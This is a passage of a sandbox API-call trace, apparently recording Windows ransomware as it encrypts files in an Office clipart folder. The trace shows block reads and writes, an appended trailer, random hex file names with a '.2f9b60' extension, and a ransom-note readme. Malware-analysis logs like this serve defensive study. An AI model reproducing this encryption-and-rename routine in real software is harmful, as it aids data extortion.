returned 0x7bc67a2d [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x4d73c18a [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x23286a0c [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x6fc344ec [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x184208e5 [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x76c6e192 [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x3042b6cf [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x48f2316 [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x17ae3d8f [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x779a9fc9 [0106.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0106.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0106.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.270] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.270] ReadFile (in: hFile=0xe40, lpBuffer=0x41eb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d89f6c0, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesRead=0x2d89f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.312] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7400 [0106.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7400) returned 1 [0106.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0106.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7400 [0106.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6140 [0106.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6140) returned 1 [0106.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.313] WriteFile (in: hFile=0xe40, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d89f6c0, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x2d89f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0106.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0106.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8370 [0106.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced82b0 [0106.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.336] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.336] WriteFile (in: hFile=0xe40, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d89f770, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d89f770*=0x10a, lpOverlapped=0x0) returned 1 [0106.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.339] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="b5") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="6d") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="b3") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="c0") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="d9") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="16") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="42") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="03") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="95") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="23") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="85") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="4a") returned 2 [0106.339] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="d9") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="98") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="b5") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="6f") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c4") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="c6") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="bf") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="32") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="7c") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="5b") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="67") returned 2 [0106.340] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="46") returned 2 [0106.340] RtlInitAnsiString (in: DestinationString=0x2d89f7e8, SourceString="b56db3c0d91642039523854ad998b56fc4c6bf327c5b6746" | out: DestinationString="b56db3c0d91642039523854ad998b56fc4c6bf327c5b6746") [0106.340] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d89f7b8, SourceString="b56db3c0d91642039523854ad998b56fc4c6bf327c5b6746", AllocateDestinationString=1 | out: DestinationString="b56db3c0d91642039523854ad998b56fc4c6bf327c5b6746") returned 0x0 [0106.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0106.340] RtlFreeAnsiString (AnsiString="b") [0106.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7400) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0106.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ada20 [0106.341] wcscat (in: _Dest=0x1b7ada20, _Source="b56db3c0d916" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916" [0106.341] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916.2f9b60" [0106.341] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916.2f9b60", NtPathName=0x2d89f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b56db3c0d916.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107fc0 [0106.341] NtSetInformationFile (FileHandle=0xe40, IoStatusBlock=0x2d89f830, FileInformation=0x107fc0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0109.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052ba0) returned 1 [0109.653] NtQueryInformationFile (in: FileHandle=0xe40, IoStatusBlock=0x2d89f7f8, FileInformation=0x2d89f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d89f7f8, FileInformation=0x2d89f808) returned 0x0 [0109.653] NtSetInformationFile (FileHandle=0xe40, IoStatusBlock=0x2d89f7f8, FileInformation=0x2d89f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0109.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0109.662] FlushFileBuffers (hFile=0xe40) returned 1 [0109.695] CloseHandle (hObject=0xe40) returned 1 [0109.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad840 [0109.709] wcscpy (in: _Dest=0x1b7ad840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.709] wcscat (in: _Dest=0x1b7ad840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0109.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d0b0) returned 1 Thread: id = 734 os_tid = 0x125c [0096.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0106.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF", dwFileAttributes=0x20) returned 1 [0106.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b0 [0106.308] GetFileSizeEx (in: hFile=0x15b0, lpFileSize=0x2d9dfcc0 | out: lpFileSize=0x2d9dfcc0*=15733) returned 1 [0106.308] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x3d71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.308] ReadFile (in: hFile=0x15b0, lpBuffer=0x2d9dfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d9dfc88, lpOverlapped=0x0 | out: lpBuffer=0x2d9dfc40*, lpNumberOfBytesRead=0x2d9dfc88*=0x4, lpOverlapped=0x0) returned 1 [0106.322] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.322] NtQuerySystemTime (in: CurrentTime=0x2d9dfb80 | out: CurrentTime=0x2d9dfb80*=132462177118126000) returned 0x0 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x326f93ec [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6fb142e6 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x7885ed33 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x42c30701 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x11c43888 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x104915f7 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x2657fbc5 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x54fbf0c0 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x40b06666 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6fb6826d [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x61a740f7 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6491238 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6265b0a [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x321248cb [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x62fd170a [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x4e5a7488 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6c63584d [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x5fa512d2 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6c38a9b8 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x4ebec812 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x4fbae5a3 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x1b086a7 [0106.322] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x2efefbf1 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x78171 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x102b13bd [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0xe283fbb [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x40960541 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x1d3cdcd8 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x57533a28 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x2dc8c387 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x6881ec37 [0106.323] RtlRandomEx (in: Seed=0x2d9dfb70 | out: Seed=0x2d9dfb70) returned 0x32aee1c5 [0106.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0106.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0106.331] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.331] ReadFile (in: hFile=0x15b0, lpBuffer=0x41f4c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d9dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesRead=0x2d9dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.347] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.348] WriteFile (in: hFile=0x15b0, lpBuffer=0x41eb5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d9dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesWritten=0x2d9dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0106.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0106.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7680 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7f20 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0106.366] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.366] WriteFile (in: hFile=0x15b0, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d9dfc90, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2d9dfc90*=0x10a, lpOverlapped=0x0) returned 1 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.381] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="ea") returned 2 [0106.381] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="32") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="90") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="fb") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="1f") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="62") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="b1") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="6a") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="09") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="6c") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="71") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="c8") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="75") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="ba") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="9e") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="87") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="5b") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ff") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="e0") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="53") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="4f") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="ec") returned 2 [0106.382] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ee") returned 2 [0106.382] 